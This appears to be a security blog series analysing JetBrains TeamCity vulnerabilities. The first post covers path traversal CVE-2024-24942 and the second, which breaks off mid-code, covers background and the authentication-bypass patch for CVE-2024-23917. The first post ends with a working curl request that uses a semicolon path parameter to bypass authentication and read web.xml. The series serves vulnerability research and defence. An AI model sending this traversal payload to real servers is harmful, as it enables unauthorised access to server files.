Diving deep into Jetbrains TeamCity Part 2 - Analysing CVE-2024-24942 leading to unauthenticated Path Traversal

Wed, 11 Dec 2024 00:00:00 -0800

Introduction

In the first edition of our TeamCity vulnerability series, we explored a critical issue that lead to Authentication Bypass. Here, we continue by examining another interesting vulnerability, CVE-2024-24942. This flaw, present in JetBrains TeamCity versions prior to 2023.11.3, involves a path traversal vulnerability that allows attackers to access data within JAR archives.

Version	Status	Download Link
Versions prior to 2023.11.3	Affected	https://download.jetbrains.com/teamcity/TeamCity-2023.11.2.tar.gz
2023.11.3	Patched	https://download.jetbrains.com/teamcity/TeamCity-2023.11.3.tar.gz

Note: We highly encourage going through the first part of the TeamCity Vulnerability series before continuing as it provides the essential background knowledge that will enhance your grasp of the issues discussed here.

Understanding the Patch

CVE-2024-24942 is a path traversal vulnerability in SwaggerUI.java within JetBrains TeamCity. SwaggerUI, an open-source tool, generates interactive API documentation and facilitates automation tasks like triggering builds and managing projects. Static analysis and debugging pinpointed the issue to SwaggerUI.java, where improper input validation allowed attackers to exploit a path traversal flaw, granting access to restricted data within JAR archives in versions before 2023.11.3.

For the purpose of understanding the vulnerability better, lets diff the SwaggerUI.java file from both affected as well as the patched versions.

/{path:.*}is a URI path pattern(Java-specific), which uses regular expressions to capture any value passed after the base URI (including dots and slashes). Consider an API path, /app/rest/swaggerui, the above annotation specifies that any number of directories are possible after the actual path.

For example:

/app/rest/swaggerui/x/y/z will pass.
/app/rest/swaggerui/../../web.xml this should also pass.

From diffing the above files, the change is replacing the class SwaggerUIUtil with SwaggerUtil for the getFileFromResources method.

File: TeamCity-2023.11.3/TeamCity/webapps/ROOT/WEB-INF/plugins/rest-api/server/rest-api-2023.09-147512.jar!/jetbrains/buildServer/server/rest/swagger/SwaggerUtil.class

public static InputStream getFileFromResources(@NotNull String path) {
  if (path == null) {
    $$$reportNull$$$0(0);
  }

  String fullPath = "swagger/" + path;
  if (!isValidResourcePath(fullPath)) {
    throw new IllegalArgumentException(String.format("File %s was not found", fullPath));
  } else {
    InputStream var10000 = (InputStream) Objects.requireNonNull(SwaggerUtil.class.getClassLoader().getResourceAsStream(fullPath));
    if (var10000 == null) {
      $$$reportNull$$$0(1);
    }

    return var10000;
  }
}

private static boolean isValidResourcePath(@NotNull String path) {
  if (path == null) {
    $$$reportNull$$$0(2);
  }

  return !path.contains("..") && SwaggerUtil.class.getClassLoader().getResource(path) != null;
}

In the patched version, the getFileFromResources method protects against path traversal vulnerabilities more effectively than the first due to its additional checks and validations.

Request Interceptors

Having confirmed the presence of a path traversal vulnerability, our next step is to determine if the vulnerable endpoint requires authentication and, if so, attempt to access it without authentication. To achieve this, we need to identify the interceptor responsible for authentication by examining the list of all interceptors called during a request.

Through dynamic debugging, we can trace the execution flow by setting a breakpoint in the preHandle() of RequestInterceptors.java. This will capture all the interceptors that the request passes through, essentially revealing the stack of interceptors(StackTrace). The interceptors involved in the process are as follows:

1. = {MainServerInterceptor@32568}
2. = {RegistrationInvitations@31464}
3. = {ProjectIdConverterInterceptor@31465}
4. = {AuthorizationInterceptorImpl@31466}  <---- this checks if route need authentication
5. = {TwoFactorAuthenticationInterceptor@32569}
6. = {DomainIsolationProtectionInterceptor@32670}
7. = {FirstLoginInterceptor@32671}
8. = {PluginUIContextProvider@32672}
9. = {CallableInterceptorRegistrar@32673}
10. = {DiagnosticInterceptor@32674}
11. = {CallableInterceptorRegistrar@32675}

AuthorizationInterceptorImpl.java checks if a route requires authentication. Let’s see the prehandle function of AuthorizationInterceptorImpl.java to see how a path is authenticated:

File: TeamCity-2023.11.2/TeamCity/webapps/ROOT/WEB-INF/lib/web-core.jar!/jetbrains/buildServer/controllers/interceptors/AuthorizationInterceptorImpl.class

public boolean preHandle(@NotNull final HttpServletRequest request, @NotNull final HttpServletResponse response, Object object) throws Exception {
  return (Boolean) NamedThreadFactory.executeWithNewThreadName("Handling authentication", new Callable < Boolean > () {
    public Boolean call() throws Exception {
      String unauthenticatedReason = null;

      try {
        SUser user = AuthorizationInterceptorImpl.this.tryRefreshLogin(request, response);
        String nodeId;
        if (user != null) {
          nodeId = AuthorizationInterceptorImpl.this.myUsersLoadBalancer.assignAuthenticatedUserToNode(user, request, response);
          if (nodeId != null && AuthorizationInterceptorImpl.this.redirectedToNode(nodeId, request, response)) {
            return false;
          }

          AuthorizationInterceptorImpl.this.checkUserPermissions(request);
          return AuthorizationInterceptorImpl.this.checkCsrfWithAuthenticatedUser(request, response);
        }

        nodeId = AuthorizationInterceptorImpl.this.myUsersLoadBalancer.assignUnauthenticatedRequestToNode(request, response);
        if (nodeId != null && AuthorizationInterceptorImpl.this.redirectedToNode(nodeId, request, response)) {
          return false;
        }

        String path = WebUtil.getPathWithoutContext(request);
        if (!AuthorizationInterceptorImpl.this.myAuthorizationPaths.isAuthenticationRequired(path)) {
          return true;
        }

        if (AuthorizationInterceptorImpl.this.myAuthManager.shouldNotTryToReauthenticate(request)) {
          (new UnauthorizedResponseHelper(response, false)).send(request, (String) null);
          return false;
        }

        boolean canRedirect = AuthorizationInterceptorImpl.this.isBrowserRequest(request);
        HttpAuthenticationResult authResult = AuthorizationInterceptorImpl.this.myAuthManager.processAuthenticationRequest(request, response, canRedirect);
        if (authResult.getType() == Type.AUTHENTICATED) {
          AuthorizationInterceptorImpl.this.checkUserPermissions(request);
          if (!AuthorizationInterceptorImpl.this.checkCsrfWithAuthenticatedUser(request, response)) {
            return false;
          }

          AuthorizationInterceptorImpl.checkRedirect(authResult, canRedirect);
          return true;
        }

        if (authResult.getType() == Type.UNAUTHENTICATED) {
          AuthorizationInterceptorImpl.checkRedirect(authResult, canRedirect);
          return false;
        }

        if (AuthorizationInterceptorImpl.this.adminSetupRedirect(request)) {
          if (canRedirect) {
            response.sendRedirect(request.getContextPath() + "/setupAdmin.html?init=1");
            return false;
          }

          unauthenticatedReason = "There is no administrator account on the server";
        }

        AuthorizationInterceptorImpl.this.rememberUrlIfNeeded(request, path);
      } catch (RedirectException var7) {
        RedirectException e = var7;
        response.sendRedirect(e.getRedirectUrl());
        return false;
      } catch (AccessDeniedException var8) {
        AccessDeniedException ex = var8;
        if (AuthorizationInterceptorImpl.this.isBrowserRequest(request)) {
          WebAuthUtil.addAccessDeniedMessage(request, ex);
          response.sendRedirect(OverviewController.getOverviewPageUrl(request));
          return false;
        }

        unauthenticatedReason = "Access denied: " + ex.getMessage();
      }

      AuthorizationInterceptorImpl.this.myAuthManager.processUnauthenticatedRequest(request, response, unauthenticatedReason, AuthorizationInterceptorImpl.this.isBrowserRequest(request));
      return false;
    }
  });
}

!AuthorizationInterceptorImpl.this.myAuthorizationPaths.isAuthenticationRequired(path) checks whether authentication is required for a specific path. myAuthorizationPaths holds information about paths(routes) and their associated authentication requirements. By adding a breakpoint in the above condition, we can get the paths which does not require authentication.

MyAuthorizedPaths is calling its function isAuthenticationRequired(), put a breakpoint there and get all the endpoints that doesn’t require authentication.

1 = "/.well-known/acme-challenge/**"
2 = "/app/agentParameters/*"
3 = "/app/dsl-plugins-repository/**"
4 = "/app/dsl-documentation/**"
5 = "/app/rest/2018.1/builds/*/statusIcon*"
6 = "/app/rest/2018.1/builds/aggregated/*/statusIcon*"
7 = "/app/rest/2018.1/swagger**"
8 = "/app/rest/builds/*/statusIcon*"
9 = "/app/rest/builds/aggregated/*/statusIcon*"
10 = "/app/rest/swagger**"     <-------------- no auth needed
11 = "/app/rest/latest/builds/*/statusIcon*"
12 = "/app/rest/latest/builds/aggregated/*/statusIcon*"
13 = "/app/rest/latest/swagger**"
14 = "/app/rest/ui/builds/*/statusIcon*"
15 = "/app/rest/ui/builds/aggregated/*/statusIcon*"
16 = "/app/rest/ui/swagger**"
17 = "/api/builds/*/statusIcon*"
18 = "/api/builds/aggregated/*/statusIcon*"
19 = "/api/swagger**"
20 = "/app/graphql/builds/*/statusIcon*"
21 = "/app/graphql/builds/aggregated/*/statusIcon*"
22 = "/app/graphql/swagger**"

The route app/rest/swagger** is configured as an unauthenticated endpoint. This could potentially open up the path to a path traversal vulnerability. In TeamCity, a route is handled by RequestMappingInfoHandlerMapping which is responsible for mapping incoming requests to their respective handlers (controllers or methods). When a request is made to a particular route, RequestMappingInfoHandlerMapping delegates a path matching.

File: TeamCity-2023.11.2/TeamCity/webapps/ROOT/WEB-INF/lib/spring-webmvc.jar!/org/springframework/web/servlet/mvc/method/RequestMappingInfoHandlerMapping.class

protected RequestMappingInfo getMatchingMapping(RequestMappingInfo info, HttpServletRequest request) {
    return info.getMatchingCondition(request);
}

In Spring Framework, path matching for handling incoming requests is often done using AntPathMatcher from org.springframework.util package. AntPathMatcher is used to match paths against predefined patterns and supports wildcards like * (matching zero or more characters) and **(matching zero or more directories).

The pattern app/rest/swagger** matches paths such as:

app/rest/swaggeruixyz
app/rest/swaggerui/xyz (limited to one additional directory)

This means that paths like app/rest/swaggerXXXX/.. are valid, however, it won’t match paths like:

app/rest/swaggerui/xx/yy (to match this, we need app/rest/swaggerui/**, ** after the /)
app/rest/swaggeruixx/xx/yy (to match this, we need app/rest/swaggerui*/**)

Therefore, when trying a typical traversal attack like accessing site.com/app/rest/swaggerui/../../web.xml, the attack does not seem to succeed.

As we approach the core of our exploit, let’s take a closer look at the following code from AuthorizationInterceptorImpl.java once again:

File: TeamCity-2023.11.2/TeamCity/webapps/ROOT/WEB-INF/lib/web-core.jar!/jetbrains/buildServer/controllers/interceptors/AuthorizationInterceptorImpl.class

String path = WebUtil.getPathWithoutContext(request);
if (!AuthorizationInterceptorImpl.this.myAuthorizationPaths.isAuthenticationRequired(path)) {
    return true;

The path is extracted from the request using getPathWithoutContext() in WebUtil.java. Let’s have a look at what this method does:

File: TeamCity-2023.11.2/TeamCity/webapps/ROOT/WEB-INF/lib/web-openapi.jar!/jetbrains/buildServer/web/util/WebUtil.class

public static String getPathWithoutContext(@NotNull HttpServletRequest request) {
    String reqURI = StringUtil.notNullize(request.getRequestURI());
    return getPathWithoutContext(request, reqURI);
}

public static String getPathWithoutContext(@NotNull HttpServletRequest request, @NotNull String reqURI) {
        return removeSessionId(removeStartingSlashes(stripContextPath(request, reqURI)));
    }
    ...

    public static String removeSessionId(@NotNull String uri) {
        int idx = uri.indexOf(59); //-> 59 ascii of ;
        return idx == -1 ? uri : uri.substring(0, idx);
    }

private static String stripContextPath(@NotNull HttpServletRequest request, @NotNull String reqURI) {
    return reqURI.substring(request.getContextPath().length());
}

@NotNull
private static String removeStartingSlashes(@NotNull String requestURI) {
    for (int i = 0; i < requestURI.length(); ++i) {
        if (requestURI.charAt(i) != '/') {
            if (i == 1) {
                return requestURI;
            }

            return '/' + requestURI.substring(i);
        }
    }

    return "/";
}

getPathWithoutContext(): Extracts the request URI, removing the context path (base URL) and sanitizing it for further processing.
stripContextPath(): Removes the context path (e.g., /app) from the request URI, leaving only the relevant portion (e.g., /rest/swaggerui).
removeStartingSlashes(): Ensures the URI has only one leading slash by trimming any extra slashes (e.g., ///rest/swaggerui becomes /rest/swaggerui).
removeSessionId(): Strips out any session ID appended to the URI after a semicolon (;), returning the clean path without it. For example, if the URI is /rest/swaggerui;JSESSIONID=123456, this method removes ;JSESSIONID=123456, leaving /rest/swaggerui. This ensures that the session information is excluded from the path.

As we have already seen in the Part-1 of this series that in Tomcat, the semicolon (;) is used for path parameter passing, a mechanism where additional data can be embedded in the URL without affecting the main path. For example, in a URL like /app/rest/resource;param=value, the part after the semicolon (param=value) is treated as a parameter for that specific route (/resource), without altering the route itself.

Note: The parameters passed will be ignored by AntPathMatcher for matching purposes.

Basically, the application custom implemented the getPathWithoutContext() to remove anything after a semicolon (;) to prevent passing path parameters. However, due to the flawed implementation, when a traversal payload is included, everything after the semicolon gets stripped. As a result, the site.com/app/rest/swaggerui;alpha/../../file.txt path bypasses the authentication check, the route will hit /app/rest/swaggerui and the traversal payload is mistakenly treated as a parameter to this route.

Note: Using getPathInfo() is different from getRequestURI() because it returns only the part of the request path after the servlet’s mapped path, excluding the context path and any path parameters whereas getRequestURI() retrieves the entire URI of the request, including the context path, servlet path, and any additional path segments or parameters. This highlights how different methods of interpreting paths can lead to vulnerabilities, especially when handling elements like path parameters (;param=value) or traversal sequences (../).

Exploit

curl -i -s -k -X GET \
    -H 'Host: localhost:8111' \
    -H 'Accept: application/json' \
    -H 'X-TC-CSRF-Token: 2e545bf5-xxxxxxxxxxxxxxxxxxx8' \
    'http://localhost:8111/app/rest/swaggerui;asdf/../../web.xml'

The crafted request is sent to http://localhost:8111/app/rest/swaggerui;asdf/../../web.xml , where ;asdf acts as a path parameter to manipulate how the server interprets the request. First, the AuthorizationInterceptorImpl sanitizes the request by stripping the path parameter (;asdf), effectively processing it as http://localhost:8111/app/rest/swaggerui. Since this endpoint is configured as unauthenticated, the request bypasses authentication. When the path reaches AntPathMatcher, it is checked against the pattern /app/rest/swagger**, which matches path /app/rest/swaggerui. The remaining portion is interpreted as a path parameter for the route. This enables traversal beyond the intended directory, providing unauthorized access to files like web.xml.

References:

sndav.org

Diving deep into Jetbrains TeamCity Part 1 - Analysing CVE-2024-23917 leading to Authentication Bypass

Mon, 27 May 2024 00:00:00 -0700

Introduction

JetBrains TeamCity is a continuous integration (CI) and continuous delivery (CD) tool developed by JetBrains. It is designed to automate the building, testing, and deployment processes in software development.

NOTE: This article is only intended for educational purposes understanding how vulnerabilities occur in real world.

Installing TeamCity

Download the 2023.11.2 release from the official Jetbrains TeamCity website and extract it. For the purpose of this article, I will be using the Intellij IDEA Community Edition to navigate through the codebase.

Decompiling the Jars

Exploring through the teamcity directories, we can see a lot of compiled Jars. In order to access the code, we can decompile these jars using one of the common decompilers. Since we are using Intellij IDEA, we can use the inbuilt decompiler to decompile the jars.

One of the problems here is that there are way too many jar files which needs to be decompiled. In order make the process easy, we have written a quick bash script which uses the default IntelliJ decompiler to extract all jar files into a central folder called fern.

#!/bin/bash
#
# Extract source code from jar files
# Can leverage fern from intelij or jadx
# Usage:
# ./sourcerer.sh <DIR1> <DIR2> <DIR3> ...

DECOMPILER="fern"
PROCESSES=10 # 0 for unlimited

FERN_JAR="/Applications/IntelliJ IDEA CE.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar"

for dir in "$@"; do
    workdir="$dir/$DECOMPILER"
    mkdir -p "$workdir"
    echo "Processing $dir"
    case $DECOMPILER in
        "fern")
            mkdir "$workdir/fern-jars"
            find "$dir" -type f -print0 -name "*.jar" | xargs -0 -I {} -P "$PROCESSES" java -jar "$FERN_JAR" {} "$workdir/fern-jars"
            find "$workdir/fern-jars" -name "*.jar" -exec unzip -o {} -d "$workdir" \;
            rm -rf "$workdir/fern-jars"
            ;;
        "jadx")
            find "$dir" -type f -print0 -name "*.jar" | xargs -0 -I {} -P "$PROCESSES" jadx -d "$workdir" {} --comments-level none
            ;;
    esac
done

Save the file as sourcerer.sh and run the script providing the extracted teamcity directory as the input. The script will repeatedly start extracting all jars inside.

NOTE: The script will take sometime complete since there are way too many jars. You can modify the PROCESSES variable to make the script faster.

a0xnirudh@X1 ~/teamcity $ chmod +x sourcerer.sh
a0xnirudh@X1 ~/teamcity $ ./sourcerer.sh TeamCity

Once the extraction is complete, a new directory named fern will be available inside the TeamCity project folder. From intellij, right click on this folder > Mark Directory as > Sources Root. This step is important without which we won’t be able to do dynamic analysis or search for classes etc…

Architecture

Exploring through the directory structure, especially within the webapps/ROOT directory, we can see the web.xml file inside the WEB-INF directory. This file contains the Servlets, mappings and filters.

Servlet Filters

In general, Servlet mappings are used to define API endpoints to corresponding controllers. Let’s understand how the file and its mapping works:

File: teamcity/TeamCity/webapps/ROOT/WEB-INF/web.xml

17:   <servlet>
18:     <description>Support maintenance screens when TeamCity server is starting up.</description>
19:     <servlet-name>MaintenanceServlet</servlet-name>
20:     <servlet-class>jetbrains.buildServer.maintenance.StartupServlet</servlet-class>
21:   </servlet>

The file starts creating servlets with a name, in the above example MaintenanceServlet which is defined in the class jetbrains.buildServer.maintenance.StartupServlet. Let’s look into it’s servlet-mapping:

126:   <servlet-mapping>
127:     <servlet-name>MaintenanceServlet</servlet-name>
128:     <url-pattern>/mnt/*</url-pattern>
129:   </servlet-mapping>

Servlet mapping specifies the servlet name and the URL pattern. This means, if a request comes to the defined URL pattern, in this case, /mnt/*, then the MaintenanceServlet servlet will be invoked which further leading to the invocation of the controller jetbrains.buildServer.maintenance.StartupServlet class.

Similarly we have filters defined in the web.xml, which can be considered as middlewares that get to run before the requests gets into servlet class or the controllers. Let’s take an example to understand:

File: teamcity/TeamCity/webapps/ROOT/WEB-INF/web.xml

70:   <filter>
71:     <filter-name>disableBrowserCacheFilter</filter-name>
72:     <filter-class>jetbrains.buildServer.web.DisableBrowserCacheFilter</filter-class>
73:     <async-supported>true</async-supported>
74:   </filter>

A filter named disableBrowserCacheFilter is defined which is handled by the class jetbrains.buildServer.web.DisableBrowserCacheFilter. Now let’s look at its filter-mapping:

308:   <filter-mapping>
309:     <filter-name>disableBrowserCacheFilter</filter-name>
310:     <url-pattern>/update/*</url-pattern>
311:   </filter-mapping>

Filter mappings specify which filters to be run for a given url pattern. Here, for any URL matching /update/*, the disableBrowserCacheFilter filter will be run which is defined in the class jetbrains.buildServer.web.DisableSessionIdFromUrlFilter.

Now if we look at the servlet mapping for /update/*, it points to buildServer servlet.

156:   <servlet-mapping>
157:     <servlet-name>buildServer</servlet-name>
158:     <url-pattern>/update/*</url-pattern>
159:   </servlet-mapping>

So in-short, if any request comes to /update/* endpoint, the filter will be triggered first and then the request is forwarded to Servlet (or controller class).

Similarly another thing we can see is error mapping:

48:   <error-page>
49:     <error-code>401</error-code>
50:     <location>/unauthorized.html</location>
51:   </error-page>

So for a given request, if the controller returns the response code 401, then the /unauthorized.html is rendered.

Spring Interceptors

Now filters is a functionality provided by native Java Servlets but what if, we want to achieve the same functionality but need more context before taking a decision? For example, we wanna setup a filter which checks for authentication but since the authentication part is handled by SprintBoot, the servlet filters won’t have context since it operates on a lower level as the following diagram depicts:

In order to achieve a similar functionality, Springboot has a concept of Interceptors which is a part of core Spring MVC framework which allows us to intercept and process HTTP requests and responses before they are handled by the controller or sent back to the client. It’s typically used for request transformations, logging (debug or performance logs) or security (AuthN or AuthZ).

Filters are similar to interceptors in functionality (can be used to interept requests and response) but it operates at the Servlet API level (and not specific to Spring framework since spring framework itself is built on top of Servlet API). This means that filters are executed before the request even reaches the Springboot. So, in general, we can use a combination of both (like what TeamCity does) but interceptors are commonly used when we need access to Spring application context. Example, while logging, caching can be done at Filter level, AuthN/AuthZ is generally done at Interceptor level (since it needs Spring context)

So how does all these work together ? The following diagram represents the flow (image source):

An incoming HTTP request is first recieved by the webserver (in this case tomcat) which then passes the request onto to Java Servlets.
Based on the route mapping, the servlet filters are run and then the request is forwarded to Springboot. The Dispatcher Servlet is the default entry point for all the incoming requests into springboot.
Once the Dispatcher Servlet recieves the requests, it consults with the URL HandlerMapping which determines which controller does the request should be passed onto.
But before being processed by the controllers, the requests are passed through Spring Interceptors. A given request can be processed by a different number of Interceptors before it reaches to controllers.

Interceptors are classes that implement the handlerInterceptor interface which has 3 methods:

preHandle(): Returns a boolean value indicating whether the request should continue to the next interceptor/controller or not (ex: if AuthZ fails, return false and request won’t reach controller)

postHandle(): Executed after the controller method is called but before sending the response to the client (modifying response header?).

afterCompletion(): Executed after the response is sent to the client (any cleanup tasks).

There could be more than 1 interceptor which will be triggered for a given API endpoint, in which case, the flow works as per the diagram below (image source):

Now that the fundamentals for exploring the vulnerabilities are clear, let’s explore the security patch which got released.

Understanding the Patch (CVE-2024-23917)

From the official advisory, one of the ways to fix the vulnerability is to apply a security patch. Let’s download the patch and try to understand it better.

a0xnirudh@X1 ~/teamcity/cve-2024-23917 $ wget -c https://download.jetbrains.com/teamcity/plugins/internal/fix_CVE_2024_23917.zip

a0xnirudh@X1 ~/teamcity/cve-2024-23917 $ unzip fix_CVE_2024_23917.zip
Archive:  fix_CVE_2024_23917.zip
   creating: server/
  inflating: server/patch-common-1.0-SNAPSHOT.jar
  inflating: server/security-patch-plugin-1.0-SNAPSHOT.jar
  inflating: teamcity-plugin.xml

Decompiling and trying to read the source code of the jar, we can see that the patch is heavily obfuscated. Let’s try to deobfuscate the patch and then decompile (using cfr) it again to see if the code is more readable:

a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config1.yml
input: patch-common-1.0-SNAPSHOT.jar
detect: true


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config1.yml
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Detecting known obfuscators
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - RuleSuspiciousClinit: Zelix Klassmaster typically embeds decryption code in <clinit>. This sample may have been obfuscated with Zelix Klassmaster
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - 	Found suspicious <clinit> in 0/0/0/0
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Recommend transformers:
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - (Choose one transformer. If there are multiple, it's recommended to try the transformer listed first)
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - 	None
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator -
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - RuleSimpleStringEncryption: Zelix Klassmaster has several modes of string encryption. This mode replaces string literals with a static string or string array, which are decrypted in <clinit> Note that this mode does not generate a method with signature (II)Ljava/lang/String;
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - 	Found suspicious <clinit> in 0/0/0/0
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Recommend transformers:
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - (Choose one transformer. If there are multiple, it's recommended to try the transformer listed first)
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - 	com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - 	com.javadeobfuscator.deobfuscator.transformers.zelix.string.SimpleStringEncryptionTransformer
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - All detectors have been run. If you do not see anything listed, check if your file only contains name obfuscation.
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Do note that some obfuscators do not have detectors.

Using the deobfuscator detection technique, it recommends us to use com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer. Let’s deobfuscate the jars and try to decompile it using cfr decompiler.

a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config1.yml
input: patch-common-1.0-SNAPSHOT.jar
output: patch_common_deobfuscated.jar
transformers:
  - com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ cat config2.yml
input: security-patch-plugin-1.0-SNAPSHOT.jar
output: security_patch_deobfuscated.jar
transformers:
  - com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config1.yml
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Computing callers
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Transforming
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Running com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
[Zelix] [StringEncryptionTransformer] Starting
[Zelix] [StringEncryptionTransformer] Decrypted strings from 2 encrypted classes
[Zelix] [StringEncryptionTransformer] Decrypted 51 strings
[Zelix] [StringEncryptionTransformer] Done
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Writing


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar deobfuscator.jar --config config2.yml
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading classpath
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Loading input
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Computing callers
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Transforming
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Running com.javadeobfuscator.deobfuscator.transformers.zelix.StringEncryptionTransformer
[Zelix] [StringEncryptionTransformer] Starting
[Zelix] [StringEncryptionTransformer] Decrypted strings from 1 encrypted classes
[Zelix] [StringEncryptionTransformer] Decrypted 3 strings
[Zelix] [StringEncryptionTransformer] Done
[main] INFO com.javadeobfuscator.deobfuscator.Deobfuscator - Writing


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar cfr-0.152.jar patch_common_deobfuscated.jar --renameillegalidents true --outputdir patch_common_extract
Processing patch_common_deobfuscated.jar (use silent to silence)
Processing 0.0.0.0
Processing 0.0.0.2


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ java -jar cfr-0.152.jar security_patch_deobfuscated.jar --renameillegalidents true --outputdir security_patch_extract
Processing security_patch_deobfuscated.jar (use silent to silence)
Processing 0.0.0.1


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ tree patch_common_extract
patch_common_extract
├── 0
│   └── 0
│       └── 0
│           ├── 0.java
│           └── 2.java
└── summary.txt

4 directories, 3 files


a0xnirudh@X1 ~/teamcity/cve-2024-23917/server $ tree security_patch_extract
security_patch_extract
├── 0
│   └── 0
│       └── 0
│           └── 1.java
└── summary.txt

4 directories, 2 files

So we finally have 3 files. Let’s look at the 1.java which we extracted from the original security-patch-plugin-1.0-SNAPSHOT.jar file:

/*
 * Decompiled with CFR 0.152.
 * 
 * Could not load the following classes:
 *  0.0.0.0
 *  jetbrains.buildServer.ServiceLocator
 *  jetbrains.buildServer.log.Loggers
 *  jetbrains.buildServer.serverSide.BuildServerListener
 *  jetbrains.buildServer.serverSide.TeamCityProperties
 *  jetbrains.buildServer.util.EventDispatcher
 *  jetbrains.buildServer.version.ServerVersionHolder
 *  jetbrains.buildServer.web.openapi.PluginDescriptor
 *  org.jetbrains.annotations.NotNull
 */
package 0.0.0;

import 0.0.0._0;
import jetbrains.buildServer.ServiceLocator;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.BuildServerListener;
import jetbrains.buildServer.serverSide.TeamCityProperties;
import jetbrains.buildServer.util.EventDispatcher;
import jetbrains.buildServer.version.ServerVersionHolder;
import jetbrains.buildServer.web.openapi.PluginDescriptor;
import org.jetbrains.annotations.NotNull;

public class _1 {
    public static int cfr_renamed_0;
    public static boolean cfr_renamed_1;

    public _1(@NotNull ServiceLocator serviceLocator, @NotNull PluginDescriptor pluginDescriptor, @NotNull EventDispatcher<BuildServerListener> eventDispatcher) {
        boolean bl = cfr_renamed_1;
        int n = Integer.parseInt(ServerVersionHolder.getVersion().getBuildNumber());
        int n2 = TeamCityProperties.getInteger((String)"teamcity.CVE-2024-23917.patch.maxAffectedBuildNumber", (int)147486);
        if (!bl) {
            if (n > n2) {
                Loggers.SERVER.warn("The plugin " + pluginDescriptor.getPluginName() + " is no longer required for this TeamCity version");
                return;
            }
            new _0(eventDispatcher, serviceLocator).cfr_renamed_0(true);
        }
        if (bl) {
            int n3 = cfr_renamed_0;
            cfr_renamed_0 = ++n3;
        }
    }
}

This is a much more readable code but still could be cleaned up a bit. After using ChatGPT (+some manual changes) to rewrite the code to make it even more readable, the code looks like the following:

package 0.0.0;

import jetbrains.buildServer.ServiceLocator;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.BuildServerListener;
import jetbrains.buildServer.util.EventDispatcher;
import jetbrains.buildServer.version.ServerVersionHolder;
import jetbrains.buildServer.web.openapi.PluginDescriptor;
import org.jetbrains.annotations.NotNull;

public class SecurityPluginInitializer {
    private static int counter = 0;
    private static boolean isEnabled = false;

    public SecurityPluginInitializer(@NotNull ServiceLocator serviceLocator, @NotNull PluginDescriptor pluginDescriptor, @NotNull EventDispatcher<BuildServerListener> eventDispatcher) {
        if (isEnabled) {
            int buildNumber = Integer.parseInt(ServerVersionHolder.getVersion().getBuildNumber());
            int maxAffectedBuildNumber = TeamCityProperties.getInteger("teamcity.CVE-2024-23917.patch.maxAffectedBuildNumber", 147486);
            if (buildNumber > maxAffectedBuildNumber) {
                Loggers.SERVER.warn("The plugin " + pluginDescriptor.getPluginName() + " is no longer required for this TeamCity version");
                return;
            }
            new SecurityInterceptor(eventDispatcher, serviceLocator).initializeSecurity(true);
        } else {
            counter++;
        }
    }
}

The code reads the currentBuildNumber and if the current build number is less than the maximum affected build number (147486), then the installation is proceeded ahead, else skipped. For proceeding ahead, it triggers the code new SecurityInterceptor(eventDispatcher, serviceLocator).initializeSecurity(true); which is coming from our extracted 0.java file.

Now, let’s look at the 2.java file first:

package com.example.buildserver;

import java.util.List;
import com.example.security.SecurityHandler;
import jetbrains.buildServer.log.Loggers;
import jetbrains.buildServer.serverSide.BuildServerAdapter;

class SecurityPatch extends BuildServerAdapter {

    private final boolean isSecurityPatchEnabled;
    private final SecurityHandler securityHandler;
    public static boolean isDebugModeEnabled;

    SecurityPatch(SecurityHandler handler, boolean isEnabled) {
        this.securityHandler = handler;
        this.isSecurityPatchEnabled = isEnabled;
    }

    @Override
    public void serverStartup() {
        boolean isDebug = isDebugModeEnabled;

        try {
            Class<?> urlMappingClass = Class.forName("jetbrains.spring.web.UrlMapping");
            Object urlMappingService = securityHandler.findSingletonService(urlMappingClass);

